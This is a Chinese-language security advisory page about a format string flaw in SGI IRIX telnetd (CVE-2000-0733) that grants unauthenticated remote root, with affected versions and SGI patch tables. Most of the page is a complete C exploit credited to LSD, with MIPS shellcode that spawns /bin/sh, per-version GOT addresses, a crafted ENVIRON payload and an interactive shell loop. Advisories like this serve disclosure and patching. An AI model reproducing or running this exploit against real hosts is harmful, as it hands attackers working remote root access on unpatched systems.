首页 -> 安全研究

安全研究

安全漏洞
IRIX telnetd远程格式化串溢出漏洞

发布日期:2000-08-14
更新日期:2000-08-14

受影响系统:
SGI IRIX telnetd
    - SGI IRIX 6.5.8
    - SGI IRIX 6.5.7
    - SGI IRIX 6.5.6
    - SGI IRIX 6.5.4
    - SGI IRIX 6.5.3
    - SGI IRIX 6.5.2m
    - SGI IRIX 6.5.2f
    - SGI IRIX 6.5.2
    - SGI IRIX 6.5.1
    - SGI IRIX 6.5
    - SGI IRIX 6.4
    - SGI IRIX 6.3
    - SGI IRIX 6.2
    - SGI IRIX 6.1
    - SGI IRIX 6.0.1XFS
    - SGI IRIX 6.0.1
    - SGI IRIX 6.0
    - SGI IRIX 5.3XFS
    - SGI IRIX 5.3
    - SGI IRIX 5.2
描述:
BUGTRAQ  ID: 1572
CVE(CAN) ID: CVE-2000-0733

telnet服务是流行的远程终端连接访问工具。

IRIX telnetd实现上存在格式化串溢出漏洞,远程攻击者可以利用此漏洞无需认证直接得到服务器的root用户权限。

IRIX telnetd 在收到IAC-SB-TELOPT_ENVIRON请求后会设置_RLT环境变量,当调用syslog()和sprintf()函数的时候,错误的将用户输入的数据作为格式化串的内容。这导致远程用户可以任意覆盖进程空间的内容,通过修改GOT入口参数等方法,攻击者可以远程获得root权限。

<*来源:LSD (contact@lsd-pl.net
  
  链接:http://security-archive.merton.ox.ac.uk/bugtraq-200008/0208.html
        ftp://patches.sgi.com/support/free/security/advisories/20000801-01-A
        http://www.cert.org/advisories/CA-1995-14.html
        ftp://patches.sgi.com/support/free/security/advisories/20000801-01-P
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

LSD (contact@lsd-pl.net)提供了如下测试代码:

/*## copyright LAST STAGE OF DELIRIUM jul 2000 poland        *://lsd-pl.net/ #*/
/*## telnetd                                                                 #*/

/* update:                                                                    */
/* code was slightly modified in order to properly compile with gcc and to    */
/* work from within little endian machines                                    */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

char shellcode[]=
    "\x04\x10\xff\xff"             /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"             /* li      $v0,1011             */
    "\x23\xff\x02\x14"             /* addi    $ra,$ra,532          */
    "\x23\xe4\xfe\x08"             /* addi    $a0,$ra,-504         */
    "\x23\xe5\xfe\x10"             /* addi    $a1,$ra,-496         */
    "\xaf\xe4\xfe\x10"             /* sw      $a0,-496($ra)        */
    "\xaf\xe0\xfe\x14"             /* sw      $zero,-492($ra)      */
    "\xa3\xe0\xfe\x0f"             /* sb      $zero,-497($ra)      */
    "\x03\xff\xff\xcc"             /* syscall                      */
    "/bin/sh"
;

typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

tabent1_t tab1[]={
    { "IRIX 6.2  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.3  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.3  libc.so.1: 2087            telnetd: no patches          " },
    { "IRIX 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches          " },
    { "IRIX 6.4  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches          " },
    { "IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          " },
    { "IRIX 6.5.8f                          telnetd: no patches          " }
};

tabent2_t tab2[]={
    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
    { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
    { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
    { 1, 0x5e, 0x0fb576d8,  88, 0x7fc4cf70, 0x1c },
    { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
    { 1, 0x5e, 0x7fc496e8,  77, 0x7fc4cf98, 0x1c },
    { 1, 0x5e, 0x7fc496e0,  77, 0x7fc4cf98, 0x1c }
};

char env_value[1024];

int prepare_env(int vers){
    int i,adr,pch,adrh,adrl;
    char *b;

    pch=tab2[vers].got+(tab2[vers].g_ofs*4);
    adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
    adrh=(adr>>16)-tab2[vers].len;
    adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;

    b=env_value;
    if(!tab2[vers].flg){
        for(i=0;i<1;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
        for(i=0;i<3;i++) *b++=' ';
        for(i=0;i<strlen(shellcode);i++){
            *b++=shellcode[i];
            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
        }
        sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
    }else{
        for(i=0;i<5;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
        for(i=0;i<4;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
        for(i=0;i<3;i++) *b++=' ';
        for(i=0;i<strlen(shellcode);i++){
            *b++=shellcode[i];
            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
        }
        sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
    }
    b+=strlen(b);
    return(b-env_value);
}

main(int argc,char **argv){
    char buffer[8192];
    int i,c,sck,il,ih,cnt,vers=65;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");

    if(argc<2){
        printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"v:"))!=-1){
        switch(c){
        case 'v': vers=atoi(optarg);
        }
    }  

    switch(vers){
    case 62: il=0;ih=5; break;
    case 63: il=6;ih=8; break;
    case 64: il=9;ih=10; break;
    case 65: il=11;ih=12; break;
    default: exit(-1);
    }

    for(i=il;i<=ih;i++){
        printf(".");fflush(stdout);
        sck=socket(AF_INET,SOCK_STREAM,0);
        adr.sin_family=AF_INET;
        adr.sin_port=htons(23);
        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if((hp=gethostbyname(argv[1]))==NULL){
                errno=EADDRNOTAVAIL;perror("error");exit(-1);
            }
            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
        }

        if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
            perror("error");exit(-1);
        }

        cnt=prepare_env(i);
        memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
        sprintf(&buffer[10],"%s\xff\xf0",env_value);
        write(sck,buffer,10+cnt+2);
        sleep(1);
        memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
        sprintf(&buffer[10],"%s\xff\xf0",env_value);
        write(sck,buffer,10+cnt+2);

        if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
            printf("warning: telnetd seems to be used with tcp wrapper\n");
        }

        write(sck,"/bin/uname -a\n",14);
        if((cnt=read(sck,buffer,sizeof(buffer)))>0){
            printf("\n%s\n\n",tab1[i].vers);
            write(1,buffer,cnt);
            break;
        }
        close(sck);
    }
    if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}

    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}

建议:
厂商补丁:

SGI
---
SGI已经为此发布了一个安全公告(20000801-01-P)以及相应补丁:
20000801-01-P:IRIX telnetd vulnerability
链接:ftp://patches.sgi.com/support/free/security/advisories/20000801-01-P

补丁下载:

IRIX已经提供了一部分系统的补丁程序,列表如下:

   OS Version     Vulnerable?     Patch #      Other Actions
   ----------     -----------     -------      -------------

   IRIX 3.x        unknown                     Note 1
   IRIX 4.x        unknown                     Note 1
   IRIX 5.0.x      unknown                     Note 1
   IRIX 5.1.x      unknown                     Note 1
   IRIX 5.2          yes           not avail   Note 1 & 3
   IRIX 5.3          yes          in progress  Note 1 & 3
   IRIX 6.0.x        yes           not avail   Note 1 & 3
   IRIX 6.1          yes           not avail   Note 1 & 3
   IRIX 6.2          yes           4050        Note 2 & 3
   IRIX 6.3          yes          in progress  Note 1
   IRIX 6.4          yes          in progress  Note 1
   IRIX 6.5          yes           4044        Note 3 & 4
   IRIX 6.5.1        yes           4044        Note 3 & 4
   IRIX 6.5.2        yes           4044        Note 3 & 4
   IRIX 6.5.3        yes           4044        Note 3 & 4
   IRIX 6.5.4        yes           4044        Note 3 & 4
   IRIX 6.5.5        yes           4044        Note 3 & 4
   IRIX 6.5.6        yes           4044        Note 3 & 4
   IRIX 6.5.7        yes           4044        Note 3 & 4
   IRIX 6.5.8        yes           4044        Note 3 & 4
   IRIX 6.5.9        yes           4044        Note 3 & 4
   IRIX 6.5.10       no                        Note 4

所有补丁都可以从下列地址下载:
http://support.sgi.com/irix/
ftp://patches.sgi.com/

浏览次数:6360
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障